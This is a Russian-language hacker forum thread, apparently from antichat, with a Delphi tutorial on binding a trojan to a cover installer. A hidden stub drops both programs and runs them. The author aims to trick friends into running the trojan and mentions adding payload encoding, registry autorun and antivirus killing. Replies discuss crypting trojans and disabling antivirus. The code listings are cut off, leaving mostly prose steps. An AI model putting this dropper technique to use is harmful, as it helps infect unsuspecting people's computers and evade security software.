![]() |
.:Join-им 2 exe-шника ручками (using Delphi):.
В принципе, причиной написания статьи стало появление php joiner-а на hunger.ru (РЕКЛАМА ;) nerezus, BUG(O)R – с вас причитается))) ). Но проблема в том, что ПОКА он джойнит только 0.5 Мб. Маловато, особенно когда хочешь друзьям подсунуть install какой-нить аудио-видио утилиты =) Поэтому я решил сам придумать способ сджойнить два exe файла. И, о боги! Получилось =)
Итак, статья о том, как «склеить» два исполняемых (да и не только) файла в один без использования joiner-ов. Для этого нам понадобятся: - Borland Delphi (или другая среда/компилятор для Object Pascal) – 1 шт.; - HEX-редактор (в моем случае – WinHEX 11.*) – 1 шт.; - Руки (желательно прямые) – 2 шт.; Шаг1. Получаем HEX exe-файлов. Открываем WinHex-ом приготовленные для склейки exe-файлы. А теперь копируем HEX-код в формате для Pascal (массив байтов). В WinHex-е есть такая функция: Edit -> Copy All -> Pascal Source. Получаем нечто подобное: Код 1.1 Код:
data: array [0..”кол-во байтов в файле - 1“] of byte = (Такой способ позволяет нам сразу получить массив с байтами файла. Конечно, можно, при отсутствии редактора, создать прикладную программу для того, чтобы автоматически получать HEX в формат pascal. Но, если захотите, этого я коснусь в продолжении к статье… (короче, узнаю – напишу ;) ) Шаг2. Создание «joining» процесса. Итак, первое, что нам понадобится - это процесс, который будет включать в себя склеенные файлы, а при запуске создавать отдельные файлы и запускать их. Открываем Delphi. Нам, как всегда, предлагают «готовую» форму. Зачем она нам? Удаляем из проекта Unit1.pas. Теперь смотрим, что осталось: Project -> View Source. Появляются сырцы project1.dpr: Код 2.1 Код:
program Project1;Код 2.2 Код:
program Project1;Но я лично пока ограничусь тремя обязательными в нашем случае библиотеками… Это windows, classes и shellapi. Из первой мы получим Handle (hwnd) нашего процесса, вторая нам потребуется для создания файлов из файлового потока TFileStream а третья – для запуска этих файлов функцией ShellExecute. Код 2.3 Код:
program Project1;У нас есть: 1. Массивы с байтами двух exe-файлов 2. Невидимый процесс (он, конечно, видимый в ctrl+alt+del, но т.к. после запуска он и 1 секунды не живет, то бояться нечего =)) 3. Прямые руки (Что? Нет? Блин…) Отсюда вывод – объединим и будет счастье! Для этого прямыми руками (если нет своих, просим друзей) добавляем в Код 2.3 объявление двух переменных и двух констант. Получаем: Код 3.1 Код:
program Project1;1.Получаем Handle своего процесса: Handle:=GetModuleHandle(nil); Он нам понадобится для вызова ShellExecute. 2. Создаем Файловый поток Exe:=TFileStream.create('Путь/filename.exe',fmcreate); Где заменяете Путь/filename на свой путь и имя файла – это файл, который будет работать как программа-. Опять же тут возможны вариации. Лично для своих целей я написал функцию поиска каталога %windir%/system32 =) 3. Заполняем Файловый поток байтами программы-прикрытия с нашего первого массива exe.Write(data2,кол-во байтов в файле); Кол-во байтов можно узнать из свойств exe-файла. 4. exe.Free; //no comments =) 5. А теперь запускаем созданный файл: ShellExecute(Handle,'open','имя файла',nil,’путь_к_файлу’,0); Понятно, что путь и имя файла должны совпадать с заданными в пункте 2. А теперь то же самое проделываем с массивом байтов нашего троя. Вот конечный код программы: Код 3.2 Код:
program Project1;Замечание. Это примитивный код, который в принципе не даст вам многого. Но лично я в своем варианте добавил кодировку байтов Трояна, запись его в автозагрузку через реестр и сейчас пытаюсь незаметно убить к@$пер$кого. Так что если тема вам интересна, попытаюсь развить =) З.Ы. Ругаться - ICQ 28555888 P.P.S Афтар – я, xShreKx ;) Соблюдайте ;) |
Прикольно, а как криптонуть трой на Delphi слабо написать )
|
Интересно? =) Понятно. Тогда может скоро напишу... Я просто поступаю в этом году (((
|
Цитата:
Радуйтесь ;) |
А в чем джойн??? Твой исходник делает два одинаковых exe только с разными именами(filename.exe,filename2.exe). Ты, наверное, ошибся. Если да, то поправь :)
|
Ну я про то, что в filename2.exe пишеться data1.
|
Читайте про мою программу http://forum.antichat.ru/showthread.php?t=17954
Криптовать можно так, что мама родная не узнаэт. Но перед тем как раскриптовывать нужно рубануть все антивири, фаерволы и т.п. "гадость". Читайте кому надо ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ |
| Время: 08:57 |